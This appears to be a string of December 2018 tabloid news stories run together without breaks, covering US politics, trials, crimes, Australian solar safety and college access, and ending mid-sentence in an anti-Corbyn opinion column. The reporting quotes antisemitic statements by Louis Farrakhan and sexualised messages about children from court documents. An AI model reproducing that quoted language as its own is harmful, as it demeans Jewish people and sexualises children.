forensic examinations of multiple burn pit locations around the base all tested negative for remnants of clothing or bones. One soldier stated that if a murder occurred, that it would have probably been done by the Afghan National Army, but they had no information that anything occurred. The investigators found it difficult to interview all members of the team, noting that some were hard to find in the U.S., others were unreachable on deployment and others were interviewed with attorneys. But those who spoke said the night sentries on the base would have to have known, because driving out of the compound involved moving the gates and ANA vehciles stationed outside. He added that 'shots fired within a few kilometers would have been heard, even with silencing equipment'. 'He could not recall anyone ever being brought back to the compound and had no information pertaining to the investigation.' The soldier also told investigators that he was still in touch with Golsteyn and the previous week had asked him to go to the shooting range. Golsteyn had told him 'let's wait and let this thing pass over'. One medic, who told Army investigators he had never heard of the assassination allegations, was asked who Golsteyn might ask to take part in the grim assassination. He replied: 'Myself and pretty much anyone on the team would walk through fire for him.' Ordered back into uniform: The charge against Golsteyn - of murder - has meant he is now back in the military awaiting a decision on whether he will be court-martialed. He is not being held in military custody Author Bing West, a Vietnam vet who writes about the U.S. military and had been in Afghanistan with Golsteyn, refused to speak to law enforcement unless subpoenaed, citing his First Amendment Rights. He told investigators 'I loved those guys' and said he had never seen anything inappropriate take place and would testify for the defense at a trial. In December 2011, a recommendation for his Silver Star to be upgraded to a Distinguished Service Cross - the second-highest award for valor - was suspended. In the summer of 2012, investigators requested to re-interview Golsteyn who declined and said he would not assist the investigation. His wife also declined to talk to investigators 'to determine if conversations took place regarding confession'. In November 2013, after two years of investigating, the Army decided not to bring charges due to lack of physical evidence. At one stage his attorney had called his description of he killing a 'fantasy.' Golsteyn was formally reprimanded and stripped of his Silver Star and his Special Forces patch in April 2014. In a June 2015 administrative hearing, he was accused of 'violating the law of armed conflict' - war crimes - but a panel of Army officers determined this was unsubstantiated. Instead it was recommended he separate from the military for conduct unbecoming an officer with a general discharge under honorable conditions - a compromise which prevented him serving again but which allowed him to keep his veteran's benefits. But the case was not over at all; in 2016 Golsteyn gave an interview to Fox News in which he once again described the killings. That set off a new investigation, and a result of the second probe, Golsteyn was recalled to the Army on Friday December 13 and charged with murder. A military commander has 120 days to review the charges to decide whether they should proceed, first to what is known as an Article 32 hearing, where Golsteyn's defense can argue that a military judge should reject the charges, and if that fails, a full court-martial. Bulletproof backpacks may soon be allowed in New Orleans public schools. An Orleans Parish School Board committee on Tuesday approved allowing the optional bags, and it appears the proposal will pass when the full board votes on Thursday, the New Orleans Advocate reports. The school district's attorney, Kathy Moss, says the board is not required to pass the policy change, but the district would like to give families the option. The backpacks were banned in Louisiana until Gov. John Bel Edwards signed a proposal in June to let students wear them on school property or school buses. In the early 1990s, schools were designated as gun-free zones, and state law prevented students or staff from wearing body armor. A bulletproof backpack from Bullet Blocker is seen. Though it looks like a normal backpack, the $330 bag has a removable Kevlar panel rated to stop most handgun munitions The law now has an exception to the body-armor ban, allowing backpacks with either a metal insert or whole panels made with Kevlar, a fiber used in bulletproof vests. Republican state Sen. Mike Walsworth introduced the bill. He has said that the backpacks could protect students if a shooter is on campus, and that he was reacting to the shooting at a Parkland, Florida, high school in February that killed 17 people. The measure was one of roughly two dozen gun bills filed this year, most stemming from the shooting. Other Louisiana school districts have passed rules allowing bulletproof backpacks. The school board in West Feliciana Parish did so in August. State Sen. J.P. Morrell, a Democrat from New Orleans, was one of two senators who voted against the bill. He said the backpacks, which can cost from $50 to $400, might be unaffordable for many families and are not equivalent to 'a Captain America shield.' Officials have warned against being misled by companies promising the backpacks meet federal standards. U.S. Justice Department spokesman Devin O'Malley said this year that marketing claiming National Institute of Justice testing or certification for such products is false, as the research institute certifies body armor only for law enforcement. Dodgy, unsecured solar panels with faulty wiring could be putting lives at risk, according to a report that has revealed thousands of the devices pose a 'severe' threat to residents. A national audit released this week disclosed almost one-quarter of installations inspected since 2011 were found to be dangerous and could lead to electrocutions and house fires. The audit - which is included in the Renewable Energy Target - says between 21 and 26 per cent of solar panels had 'faulty wiring and unsecured panels', according to The Australian. Currently more than two million Australian homes are fitted with solar panels, with owners often making the purchase due to surging power bills and the panels' falling prices. Dodgy solar panels could be putting lives at risk, according to a report which found thousands of the installations posed a 'severe' threat (stock image) The report's revelations prompted Federal Energy Minister Angus Taylor to write to his state-level equivalents warning them of the potential threat to life. 'We want to make sure safety comes first,' he told The Australian, adding,'this is a rapidly growing industry and we can't risk people's lives.' Despite the danger, the issue was not on the agenda of a Council of Australian Governments energy meeting on Wednesday. In the letter to the country's state and territory-level energy ministers, Mr Taylor warned that a rapid increase in solar panel installations could 'pose risks to worker safety during installations'. 'This level of growth will bring many new electricians to the industry and potentially a large number of inexperienced workers, and may also attract lower-quality suppliers and unscrupulous operators,' he said. 'This may give rise to consumer issues and pose risks to worker safety during installation, and electrical and building safety following installation.' Around 80 per cent of 'unsafe' installations posed a danger due to water getting into direct current isolator enclosures on rooftops, which can create a fire risk. Around 80 per cent of 'unsafe' installations saw an safety risk due to water getting into part of the electrical system in the rooftop, creating a fire risk (stock image) As of December, more than one-fifth of Australian houses have solar panels, a figure which rises to one-third in both Queensland and South Australia. More than half of these installations have been completed since 2013 with an average of 20 per cent growth each year. Following the revelation, Energy Minister Angus Taylor (pictured) has written to his state-level equivalents warning them of the potential threat to life In September, it was also revealed Australia has the lowest-cost solar panels in the world, according to a study on renewable energy. The report, by Deloitte's Global Renewable Energy Trends, said wind and solar are now viewed as solutions to strengthening grid resilience and reliability, rather than being seen as an obstacle. 'South Australia, along with China, has the lowest unsubsidised, levelised cost of energy for concentrating solar power,' Deloitte's Michael Rath said. According to the study, demand for solar panels is being driven by cities, which use renewable technology in infrastructure, and the plummeting price of related costs. A group of elite colleges and universities that banded together to bring more lower-income students onto their campuses are reporting modest success. Two years into their project, theyre reporting a 3.5 percent increase in enrolling those students. The first report of the American Talent Initiative , released this week, shows that the campaign has also boosted the number of participating institutions. It began in December 2016 with 30 colleges and universities, and now 108 have signed onto the project. Seventy-nine, including the entire Ivy League, are private institutions, and 29 are public. But thats barely one-third of the institutions eligible to participate in the project. The initiative focuses on the colleges and universities that have a six-year graduation rate of 70 percent or better. About 300 institutions fit that bill. The initiative focuses deliberately on colleges with good graduation rates. Bringing more students onto these campuses would help ease a dynamic thats dogged higher education: Lower-income students tend to choose colleges with lower graduation rates, which raises their chances of leaving without degrees. The central goal of the American Talent Initiative is to bring 50,000 students from low- and moderate-income families onto those 300 campuses by 2025. Betwee 2015-16 and 2017-18, the campaigns members enrolled an additional 7,291 students who receive federal Pell grants, an increase of 3.5 percent. If the current 108 members are the only ones that add Pell-eligible students, the campaign wont reach its goal. It would need the other colleges and universities with good graduation rates to bring large numbers of lower-income students to their campuses as well. The colleges that have expanded their enrollments of lower-income students are using five key strategies to do that work, according to the ATI report. Theyve built support for that work at the highest levels: in the presidents office and on the board of trustees. Theyre making need-based financial aid a priority, and theyre focusing on supporting students once theyre on campus so they persist in college from year to year. Theyre also working to create new recruiting relationships with high schools and community colleges. And most have expanded the size of their student bodies to make it easier to bring more lower-income students onto campus. Get High School & Beyond posts delivered to your inbox as soon as theyre published. Sign up here . Also, for news and analysis of issues that shape adolescents preparation for work and higher education. Russian President Vladimir Putin refuted the assertion of the Armenian journalist that the Russian-Armenian relations are ruined and Russia should restore them. A journalist from an Armenian newspaper asked how Russia plans to restore its relations with Armenia after the snap elections held in December, the correspondent of Vestnik Kavkaza reported. The president criticized such a wording. "Why should we restore them? There is nothing to restore here. We have smooth relations with Armenia, it is our strategic partner in the region as well as in the world; Armenia is CSTO and Eurasian Economic Union member. We need to develop what has been created by previous leadership." Vladimir Putin noted that the Armenian people are Russia's closest ally in South Caucasus. "We should proceed from the realities of the current situation both in the world and region," the head of state said, noting that he will discuss prospects of Russian-Armenian relations with Armenia's acting Prime Minster Pashinyan, who is set to come next week. The US Senate on Wednesday night approved an emergency short-term spending bill that averts a looming government shutdown, but excludes the $5 billion that President Donald Trump sought for a US-Mexico border wall. Senate Majority Leader Mitch McConnell said the measure will fund normal government operations at current levels through February 8 - bringing Washington a step closer to avoiding a potentially crippling closure of some federal offices over the Christmas holiday. The bill, which cleared the Senate by voice vote, will need to pass the House of Representatives and be signed by Trump before midnight Friday, when funding is set to expire for key agencies such as the Department of Homeland Security. Republican and Democratic leaders gave strong signals that the stopgap bill, known as a continuing resolution, would pass Congress and land on the president's desk. Senate Majority Leader Mitch McConnell (seen on Capitol Hill Wednesday) said the measure will fund normal government operations at current levels through February 8 - bringing Washington a step closer to avoiding a potentially crippling closure of some federal offices over Christmas Republican and Democratic leaders gave strong signals that the stopgap bill, known as a continuing resolution, would pass Congress and land on the president's desk. The US Capitol Building is seen at sunset Wednesday in DC 'It's good that our Republican colleagues in the Senate finally realized that they should not shut down the government over a wall that does not have enough support to pass the House or Senate and is not supported by a majority of the country,' Senate Minority Leader Chuck Schumer said upon the bill clearing the Senate. White House aides told US media that Trump is inclined to sign the measure. But it is seen as a defeat for the president, who had argued strenuously for new funding for a wall that he insists would check illegal immigration. Trump essentially abandoned his position from last week, when he told Democrats he would be 'proud' to shutter government over border security. The six-week deal would temporarily break an impasse over spending and border security, as Democrats and Republicans continue to clash over immigration. It comes a day after Democratic leaders rejected a longer-term Republican offer that would have increased border security. Trump (pictured Tuesday at the White House) told Democrats he would be 'proud' to shutter government over border security last week Would-be migrants to the United states from Honduras peer through the fence demarcating the US-Mexico border in San Ysidro, California Once Democrats take House control next month, they will be loathe to greenlight more money to Trump for his wall. The president has fumed about Democrats not giving in, and he ranted about it again Wednesday. 'In our Country, so much money has been poured down the drain, for so many years, but when it comes to Border Security and the Military, the Democrats fight to the death,' he tweeted. 'We won on the Military, which is being completely rebuilt. One way or the other, we will win on the Wall!' McConnell's pragmatic move belied his irritation over what he called 'Democrats' allergy to sensible immigration policies.' 'It's good that our Republican colleagues in the Senate finally realized that they should not shut down the government over a wall,' Senate Minority Leader Chuck Schumer (seen Tuesday on Capitol Hill) said upon the bill clearing the Senate 'It seems like political spite for the president may be winning out over sensible policy,' he said. Some congressional conservatives complained about McConnell's maneuver -- including Texas Senator Ted Cruz, who lamented the bill's passage. 'This is a missed opportunity to deliver on the promises made to the American people,' he said. House Republican Mark Meadows had also said there was no excuse to back down on wall funding. Punting the issue to February 8 gives Democrats a 'Christmas present,' tweeted Meadows, who chairs the far-right House Freedom Caucus. 'Democrats will win, the wall will not be built, and Congress will once again have punted when we should've been taking a stand.' A husband-and-wife duo alleged to have supplied fake qualifications to tradies has been busted amid fears there are now hundreds of workers on building sites without proper credentials. Cameron Russell, 55, and wife Fay, 52, are accused of being ringleaders of an elaborate operation that began in Sydney in 2015. They allegedly provided hundreds of fake qualifications in the fields of building, electrotechnology, gas fittings, air-conditioning and refrigeration. The Organised Crime Squad's Money Laundering Unit and the NSW Crime Commission have been investigating them and seven others since June, The Sydney Morning Herald reported. Cameron Russell, 55, and wife Fay, 52, were allegedly ringleaders of an elaborate operation that provided hundreds of people across Sydney with fake trade certificates Authorities were investigating an unrelated matter when they became aware of the fraudulent trade certificate scheme. Nine people were arrested and charged but police allege Mr and Mrs Russell were the masterminds. Mr Russell is the director of Daily Update Pty Ltd, a training organisation operating under the name Green Skills Australia. Him and his wife allegedly used the organisation to issue the fake trade certificates which Mr Russell is understood to have signed and claimed were genuine. Court documents revealed fraudulent certificates included a Certificate IV in Building and Construction, Certificate III in Gas Fitting and a Certificate in Electrotechnology Electrician. Authorities allege the group provided the fake documents so tradespeople could get away with not completing assessments. The couple was charged with multiple offences including making false documents to influence the exercise of public duty, dealing with $125,000 in proceeds of crime and participating in a criminal group. They were refused bail at Sydney's Central Local Court and will spend Christmas in prison before appearing in court on February 5. Mr Russell is the director of Daily Update Pty Ltd, a training organisation trading under the name Green Skills Australia Company records show Mr Russell also sits as a director or secretary for eight different companies running out of his home address in Melbourne. Ekrem Ahmic, 49, was also arrested in relation to the operation at a home in Sylvania in Sydney's south on December 4. Officers found $58,000, business documents, electronic devices and nunchucks. The 49-year-old was charged with participating in the criminal group, dealing in proceeds of crime, publishing and making false material, and possessing prohibited weapons and fake documents. Five men who bought the fake certificates were charged with possessing a false document to influence the exercise of public duty. A fender bender has turned deadly after one man allegedly stabbed another to death after their cars collided on a quiet suburban road. Police were called to Beach Street in Belmont South in the New South Wales Hunter Region at 1.30pm on Wednesday after reports of a crash between a Holden Commodore and a 4WD utility. Officers from Lake Macquarie Police District arrived on the scene to discover the 50-year-old 4WD driver suffering stab wounds to his neck. An afternoon traffic collision has turned deadly after one man allegedly stabbed another to death after the two collided on a quiet suburban road (pictured) The injured man was treated at the scene before being rushed to the John Hunter Hospital, where he later died. Police allege the 50-year-old was involved in a verbal altercation with a 32-year-old man known to him before the crash. Beach Street was closed as detectives from the State Crime Command's Homicide Squad investigated the incident. Officers arrested a 32-year-old man at a home on Marriot Street, Belmont, just before 2pm on Wednesday. He was taken to Belmont Police Station and charged with murder over the incident in Beach Street (pictured) Police arrested a 32-year-old man at a home on Marriot Street, Belmont, just before 2pm on Wednesday. He was taken to Belmont Police Station and charged with murder. The man was refused bail to appear at Newcastle Local Court on Thursday. Disgraced movie mogul Harvey Weinstein (pictured in July) will appear in Manhattan court on Thursday for a pretrial hearing where a judge will decide whether the five remaining criminal sexual assault charges against him should be thrown out Harvey Weinstein's judgment day has arrived. The disgraced movie mogul will appear in Manhattan court on Thursday for a pretrial hearing where a judge will decide whether the five remaining criminal sexual assault charges against him should be thrown out. It's been 14 months since the first allegations against Weinstein came out of the woodwork last fall, leading dozens of women to point the finger at the Hollywood power player for misconduct over nearly four decades. The allegations led to a cascade of similar claims against dozens of other powerful men in the media, dubbed the #MeToo movement. Weinstein turned himself in to authorities in May, and was hit with six felony charges across June and July. He has been accused of raping a woman he knew in a hotel room in March 2013 and forcibly performing oral sex on another woman in 2006 at his Manhattan apartment. One count was dismissed in October after an NYPD officer was found to have mishandled evidence. The remaining five felony charges include two counts of predatory sexual assault, one count of criminal sexual act in the first degree and one count each of first-degree rape and third-degree rape. Soon after the first allegations surfaced Weinstein apologized for the 'pain' he had caused but never admitted to any illegal activity. Since being indicted he has maintained his innocence, insisting that he never engaged in non-consensual sex with anyone. Weinstein's legal team has been putting on a fierce campaign to convince judge James Burke to throw out the case, seizing on allegations of unscrupulous police work and producing a witness who says his rape accuser pressured her to corroborate her story. The prosecution says there is 'ample evidence' to put the 66-year-old on trial. Today, Judge Burke will decide if he thinks that's true. Weinstein was indicted over the summer six felony charges. He stands accused of raping a woman he knew in a hotel room in March 2013 and forcibly performing oral sex on another woman in 2006 at his Manhattan apartment Weinstein's defense team's call for the five remaining charges to be dropped is based on two key arguments. The first, that a detective involved in his arrest mishandled the investigation, already worked for them once when they got the first charge dismissed in October. The Manhattan District Attorney's Office revealed that Detective Nicholas DiGaudio told an accuser to delete cell phone messages prior to turning her phones over to authorities. He was taken off the case. Weinstein's lawyers say the case has devolved into chaos and was 'irreparably tainted' by DiGaudio's alleged interference. Prosecutors insist that the DiGaudio allegations haven't sullied the rest of the case. The second argument is that Weinstein's accusers are lying about the nature of their sexual contact with the movie mogul. WHAT COULD HAPPEN? Burke has a few options. He could side with Weinstein and dismiss some or all of the charges, or he could schedule a trial, which would be a win for prosecutors. He could also throw out the indictment, but give prosecutors time to seek a new one. A dismissal of the charges would be a big setback to Manhattan District Attorney Cyrus Vance Jr., who was criticized for declining to pursue criminal charges against Weinstein when he was accused of groping an Italian model in 2015. It wouldn't rule out prosecutors bringing charges involving other women who say they were sexually assaulted by Weinstein in New York. Burke could also keep the indictment in place, but grant the defense's request for an evidentiary hearing. There, police investigators could be summoned to court to answer questions about alleged misconduct. HOW DID WE GET HERE? Weinstein's case started to turn in October when Manhattan prosecutors dropped one of the charges after evidence surfaced that DiGaudio instructed a potential witness in the case to keep some of her doubts about the veracity of the allegations to herself. DiGaudio allegedly told the witness last February that 'less is more' but kept prosecutors in the dark. That witness never testified before the grand jury that indicted Weinstein. Prosecutors also disclosed an allegation that DiGaudio urged the 2013 rape accuser to delete private material from her cellphones before handing them over to the DA's office. Prosecutors said the material didn't pertain to Weinstein and the woman wound up not deleting anything. Late last month, Weinstein's lawyers said they spoke to a woman who said the rape accuser asked her to corroborate her allegations, but the friend wouldn't 'make up a story.' The friend told investigators that Weinstein and the accuser had been 'hooking up' consensually for a while and that she never heard her say anything bad about him until last year, Weinstein's lawyer, Ben Brafman, said in a court filing. WHAT DO WEINSTEIN'S LAWYERS SAY? Brafman says the case has been 'irreparably tainted' by alleged police misconduct. He is urging Burke to dismiss the case, writing in a recent court filing: 'The only reasonably prudent decision would be to stop this chaos now.' WHAT DO PROSECUTORS SAY? Prosecutors say there is 'ample evidence' to move forward. In a court filing, Assistant District Attorney Kevin Wilson says 'there is no possibility' that alleged police misconduct 'in any way impaired the integrity of the grand jury or prejudiced the defendant.' The Nation of Islam has received hundreds of thousands of dollars from the federal government in the past decade to teach religion to prison inmates, it has been revealed. Documents show that between fiscal years 2008 and 2019, the Chicago-based organization received at least $364,500 in contracts and awards from the U.S. Bureau of Prisons and the Justice Department (BOP), according to the Washington Examiner. Nation of Islam is the Louis Farrakhan-led Muslim organization that espouses black nationalism. BOP records indicate that the contracts were for Nation of Islam religious services, Nation of Islam spiritual guide services, Nation of Islam study services, and other programs. The Bureau of Prisons declined to offer any details about the contracts. It refused to say what materials were used by the Nation of Islam in its teachings. The Nation of Islam, the Louis Farrakhan-led Muslim organization that espouses Black nationalism, has received hundreds of thousands of dollars from the federal government in the past decade to teach religion to prison inmates, it has been revealed. Farrakhan is seen above Contracts are retained six years after final payment, so we are not able to provide details regarding the original contract on which the Nation of Islam began contracting with the Bureau of Prisons, a BOP spokesperson said. Federal regulations stipulate that prisons may contract with representatives of faith groups in the community to provide specific religious services which the chaplain cannot personally deliver due to, ordinarily, religious prescriptions or ecclesiastical constraints to which the chaplain adheres, the spokesperson said. When asked about the reading material which was given to inmates, the spokesperson said that any material needs to be previewed by [Bureau of Prison] staff, or any other staff-designated volunteers, prior to distribution and materials shall not denigrate or disparage any other religion or religious groups. The Nation of Islam has been deemed a hate group by the Southern Poverty Law Center. Its leader, Farrakhan, has made numerous anti-Semitic and anti-white statements in recent years. In October, video footage surfaced showing Farrakhan refer to Jews as termites. White folks don't like Farrakhan, the Nation of Islam leader said during a sermon in Detroit. Some of them respect me. To the members of the Jewish community that dont like me, thank you very much for putting my name all over the planet because of your fear of what we represent. I can go anywhere in the world and they've heard of Farrakhan. Thank you very much. I'm not mad at you because you're so stupid,' Farrakhan continued. Documents show that between fiscal years 2008 and 2019, the Chicago-based organization received at least $364,500 in contracts and awards from the U.S. Bureau of Prisons and the Justice Department. The above image shows a federal prison in Marion, Illinois So when they talk about Farrakhan, call me a hater, you do what they do, call me an anti-Semite. Stop it, Im anti-Termite. In May, Twitter stripped Farrakhan of his blue check verification status after he gave a speech denouncing Satanic Jews. I wonder, will you recognize Satan? I wonder if you will see the satanic Jew and the synagogue of Satan...because Satan has deceived the whole world, Farrakhan said. House Rep. Peter King, a Republican from New York, said that taxpayer funding of the Nation of Islam was 'beyond the pale.' 'Categorically, no group or entity or individual associated any way with Farrakhan or the Nation of Islam should receive any federal funding,' King said. 'What Farrakhan preaches is hatred and anti-Semitism and racism, and to use any federal money for any group thats hes involved with that do any type of teaching or proselytizing is just wrong.' DailyMail.com reached out to the Nation of Islam for comment. A Marine Corps veteran put his training to good use when a man tried to rob his bar on Tuesday morning. The veteran, whose name has not been released, was working as a bartender at Ajay's Bar in Altoona, Pennsylvania when the gunman walked in around 1am. Surveillance footage captured the robber holding a gun to the veteran's back during the attempted robbery. A retired Marine Corps combat veteran put his training to good use when a man tried to rob his bar in Altonna, Pennsylvania on Tuesday The robber then continues to point the gun at the veteran as he goes behind the bar and opens the cash register. They exchange a few words as the veteran retrieves bills from the register and appears to hand it over to the robber. But then, suddenly, the veteran lunges for the gun and sends both men falling toward the ground. The two men got into a struggle for the gun and police told WJAC that one round was fired from the weapon. Surveillance footage captured the moment the robber held a gun to the veteran as he got cash out of the register. But as he handed it over, the Marine suddenly leaped for the robber Neither of the men were hit by the bullet. A second camera then captured the moment the veteran manages to grab the gun from the robber and get him on the ground. Police said the robber eventually fled from the scene, leaving a blood trail for investigators to find as he ran into the backyard of a home near the bar. The gun, which had been stolen several months ago, was recovered at the scene. The gunman remains at large. A second camera then captured the moment the veteran managed to grab the gun from the robber and get him on the ground Altoona Police have posted surveillance video of the incident on its official Facebook page and asked the public for help in identifying the suspect. Authorities said the gunman likely has obvious facial injuries after being hit with the gun. The man was last seen wearing a blue winter jacket, blue winter hat, jeans, and a gray and red plaid scarf he used to cover most of his face. Authorities said the man is 5ft 7in, weighs 180lb, and wears his hair in an Afro-style. A video of convicted paedophile reporter Ben McCormack was mistakenly posted on YouTube this week by Channel Nine - making viewers question whether he has returned to the network. Former A Current Affair reporter McCormack narrowly escaped prison after pleading guilty to child pornography offences and sharing lewd child sex 'fantasy' messages with another paedophile. This week, a video of McCormack reporting on public housing fraudster Rebecca Khodragha, was published on Channel Nine's Youtube account. Scroll down for video A video of disgraced reporter and convicted paedophile Ben McCormack (pictured) has been posted by Channel Nine this week McCormack (pictured) pleaded guilty to using a carriage service to promote child pornography In the video, McCormack is shown outside a Western Sydney housing commission flat posted on Monday. Channel Nine spokesman admitted to Daily Mail Australia the post was an error - and promptly removed the clip. 'While we have recently been revamping our YouTube channel with some of the most popular stories from recent years, we do have a policy of not uploading content featuring Ben McCormack,' the spokesman said. 'One such story was unfortunately uploaded in error,' he added. Last September, the reporter was charged with possessing child pornography text messages after police raided his home and A Current Affair's office. Shocking child sex 'fantasy' messages between McCormack and another man Mario Berger, 36, were tendered in court documents at the time. In the messages exchanged from April 2015 to February 2017, McCormack confessed he would 'perve non-stop... at the beach, shopping centre and movie theatres' and would 'love' to 'play' with a boy. He also described himself as a 'proud ped' in the messages released by police Child Exploitation Internet Unit. In his first online conversation, under the Skype username 'oz4skinboi, 'McCormack claimed he was '28, gay single love young bs too'. In the messages exchanged from April 2015 to February 2017, McCormack confessed he 'loved boys' and he wanted to 'make love to one' (pictured) Ex A Current Affair reporter Ben McCormack (pictured) narrowly escaped prison after pleading guilty to child pornography offences In a conversation from August 2016, the other man confessed he 'touch[ed] quite a few boy bums today'. McCormack said that was 'so hot' and that he was 'horny' at the time. The reporter said 'they're amazing in speedos. small speedos, so small, I love them so much'. According to the court documents, McCormack continued to say he 'love[s] small smooth hairless' [people]. In court, he pleaded guilty to using a carriage service to promote child pornography. The former reporter had exchanged explicit child pornography text messages on Skype, but no pictures or videos. Standing before the court, McCormack was given a three-year good behaviour bond and slapped with a $1000 fine by NSW District Court Judge Paul Conlon in December that year. McCormack (pictured) was given a three year good behaviour bond and slapped with a $1000 fine by NSW District Court Judge Paul Conlon in December 2017 At the time, the show's presenter Tracy Grimshaw opened up about the shock and upset she felt on McCormack's arrest. 'For me personally, I wished it was some terrible mistake. That maybe he'd been researching a story and his actions had been misinterpreted,' she said on-air. 'But when the detail of his online discussions became clear, when he called himself a 'proud pedo' who was attracted to boys aged 7 to 13 years old, I realised it was no mistake by the police,' she said. McCormack previously tracked down Hey Dad! star Robert Hughes in Singapore over allegations the actor had sexually abused young girls. The murder trial for a failed stock trader who is accused of killing his estranged wife on New Year's Eve in 2009 in New York City began on Wednesday in Manhattan Criminal Court. Roderick Covlin, born in 1973, is accused of strangling his wife, Shele Danishefsky, 47, who was found dead in the bathtub at her Manhattan apartment the day before she was planning to write Covlin out of her will, court papers claim. Covlin was two months away from inheriting half of Danishefsky's $4 million fortune when he's accused of killing the mother of his two children. An autopsy confirmed that a bone in Danishefsky's throat had been broken by force. Colvin has pleaded not guilty to murder charges. The murder trial for Roderick Covlin (left), a failed stock trader who is accused of killing his estranged wife, Shele Danishefsky, 47 (right) on New Year's Eve in 2009 in New York City began on Wednesday in Manhattan Criminal Court. Covlin is shown at right in court on Wednesday Covlin and Danishefsky were in the midst of a costly and nasty divorce when their then-nine-year-old daughter Anna found her mother submerged in the bathtub of their West 68th Street apartment in New York City on New Year's Eve 2009. Danishefsky left behind a trail of evidence showing she was terrified of her ex and told several people he would kill her, according to the New York Daily News. 'I feel like I'm at my wits end. Scared if I stay with person with this kind of temper then something very bad cud happen in the future 2 my kids or me,' she wrote in January 2009. Danishefsky told her sister the nexy day: 'I'm also concerned and very scared that at some point in the future all his anger and rage may result in something bad happening ... he really cant control his temper.' Covlin and Danishefsky were in the midst of a costly and nasty divorce when their then-nine-year-old daughter Anna found her mother submerged in the bathtub of her apartment in New York City on New Year's Eve 2009. Covlin in shown in Manhattan Criminal Court on Wednesday Danishefsky left behind a trail of evidence showing she was terrified of her ex and told several people Covlin (pictured in Manhattan Criminal Court on Wednesday) would kill her Covlin was arrested on November 1, 2015 after his then-girlfriend went to the police and gave them the ammunition to indict him on the charges, after she said he 'made statements implicating himself' in the 2009 slaying. He was arrested at the Scarsdale Metro North train station by three NYPD detectives and a representative from the Manhattan District Attorney's Office. At the time of his arrest, he was headed to his weekly visit with their kids, who lived with his parents. The failed stock trader was less than two months away from inheriting half of his wife's $4 million fortune until he was charged for her gruesome murder. The other half of the money is intended for Anna and Myles, who are each due $1million. Shortly after his arrest, Covlin was accused of trying to set up a marriage between his daughter and a Mexican man in an attempt to collect his daughter's part of the inheritance when she was 13 years old. The money has been being held in a trust due to a wrongful-death suit filed against the defendant in 2011, according to the New York Post. Covlin was arrested on November 1, 2015 after his then-girlfriend went to the police and gave them the ammunition to indict him on the charges, after she said he 'made statements implicating himself' in the 2009 slaying. Colvin is pictured in Manhattan Criminal Court on Wednesday At the time of his arrest, he was headed to his weekly visit with their kids, who lived with his parents. Covlin is pictured in an undated photo that was shared to social media Covlin called police less than an hour after he said he discovered Danishefsky in the bathtub, and told officers that he had tried to revive her, but his clothes were dry when officers arrived, according to testimony from Sergeant Yadelie Sanchez at a pretrial hearing. Sanchez testifed in September of 2017 that Covlin told her and her supervisor that he found Danishefsky in the tub after receiving a panicked phone call from their daughter, which prompted him to rush over to their apartment. Covlin's defense team argued that the detail about his dry clothing which came out at the pretrial hearing 15 months ago couldn't be used during the trial because the comments weren't made voluntarily. When Covlin spoke to police at the Upper West Side apartment, the death wasn't yet a homicide and the apartment wasn't a crime scene, the prosecuting team countered. Investigators initially thought she had slipped and fallen, striking her head. Sanchez said that Covlin offered that theory to police on how Danishefsky had died. 'She was trying to grab something, a piece of wood broke, and she landed in the bathtub and hit her head,' she recalled him saying. She said Covlin appeared to be distraught and was shaking and gagging. After Danishefsky's Orthodox Jewish family objected to an autopsy for religious reasons, the cause of her death was first listed as undetermined. Her body was later exhumed with her family's permission, and medical examiners concluded in April 2010 that she had been strangled. Danishefsky was a money manager at UBS, part of a finance family in which she worked alongside her brother and father. Covlin had been a trader and was a noted figure in the backgammon world, having helped found the US Backgammon Federation. After years of marriage and the two children, their relationship was falling apart. He had moved into an apartment across the hall in their Manhattan building, court papers show. Previous incidents where Covlin had been called an 'absolute pedophile' and a 'dirty bastard' by parents of underage girls he had contacted and poked on Facebook were also mentioned in court at the pretrial hearing. Prosecutor Matthew Bogdanos also said Covlin 'falsely' reported Danishefsky for sexually abusing their three-year-old son Myles and that he lied to her work supervisor and said his estranged wife was a drug addict. Covlin's attorney, Robert Gottlieb, called his client a 'desperate' man and said the other issues Bodganos introduced had 'nothing to do with the murder allegations.' Judge Wittner sided with the district attorney at the time. Covlin has been held without bond for the last three years and currently remains in custody in Brooklyn. He faces 25 years to life in prison if he's convicted. A woman 'with mental health issues' has been charged over the death of a man, believed to be her partner, at their home in Perth. The woman, 25, has been charged with aggravated grievous bodily harm after her partner, 38, was found with stab wounds at their Mirrabooka property on Wednesday. Police and ambulance crews were called to the property on Tinsel Avenue shortly after 8.30am. Scroll down for video. Police and ambulance crews were called to a property on Tinsel Avenue, Mirrabooka (pictured), shortly after 8.30am yesterday after neighbours heard 'blood-curdling' screams Neighbours said they heard 'a woman's blood-curdling screams' coming from the property at the time. The woman's partner was found with life-threatening injuries. He was taken to Royal Perth Hospital but later died. A woman, 25, has been charged with aggravated grievous bodily harm after her partner, 38, was found with stab wounds at their Mirrabooka property on Wednesday (stock photo) The woman had 'mental health issues' and will appear at Perth Magistrates Court (pictured) later today The 25-year-old was taken into custody and according to the victim's mother, she had a history of 'mental health issues'. Speaking to 9news, the victim's mother also said she had been concerned for her son's welfare. Western Australia Police said they would not disclose the woman's identity until she appears at Perth Magistrates Court later today. This was the moment the mask finally slipped. The self-styled cuddly Communist uncle revered by starry-eyed millennials revealed himself to be what he really is: a peevish, petulant old man who cannot bear the notion of being bested by a woman. The look said it all. Incandescent fury coupled with indignation. Theresa May had just pointed out, with remarkable flourish for a woman who cant have had much more than three hours sleep in the course of the last month, the ineptitude of the Labour leaders cack-handed attempts to unseat her. Scroll down for video Jeremy Corbyn's mask finally slipped during Prime Minister's Questions in the House of Commons today, writes Sarah Vine With the taunts echoing around the chamber, humiliation rising in his gorge, he let his guard down. Tell the truth and shame the Devil, they say. And this devil has finally been unmasked as a visceral sexist, in public and in front of the entire House of Commons. Its a situation that women up and down the nation will be all too familiar with. The moment when a man, backed into a corner by a female colleague, makes his true feelings known. When he lashes out almost unconsciously and proves that, for all the fine words about equality and respect, at the end of the day not a lot has changed since the days when women were considered too weak-brained to have the vote. Sadly, this wasnt the first time Corbyn has exposed if not exactly his dislike of women in his profession his clear disregard for their intellectual value and opinion. When he first put together his Shadow Cabinet, it was noted that, despite the Labour Party having more female MPs than the Conservatives (119 to 67), there was a glaring paucity of women on his front bench. Theresa May (pictured during PMQs today) had just pointed out the ineptitude of the Labour leaders cack-handed attempts to unseat her Panicked by the impression this gave, his team scrambled to rectify the situation, hurriedly appointing Angela Eagle to the dual role of Shadow First Secretary of State and Shadow Secretary of State for Business, Innovation and Skills. She didnt last long, but since then he has learnt the importance of populating his front bench with visible women, from Emily Thornberry (Shadow Foreign 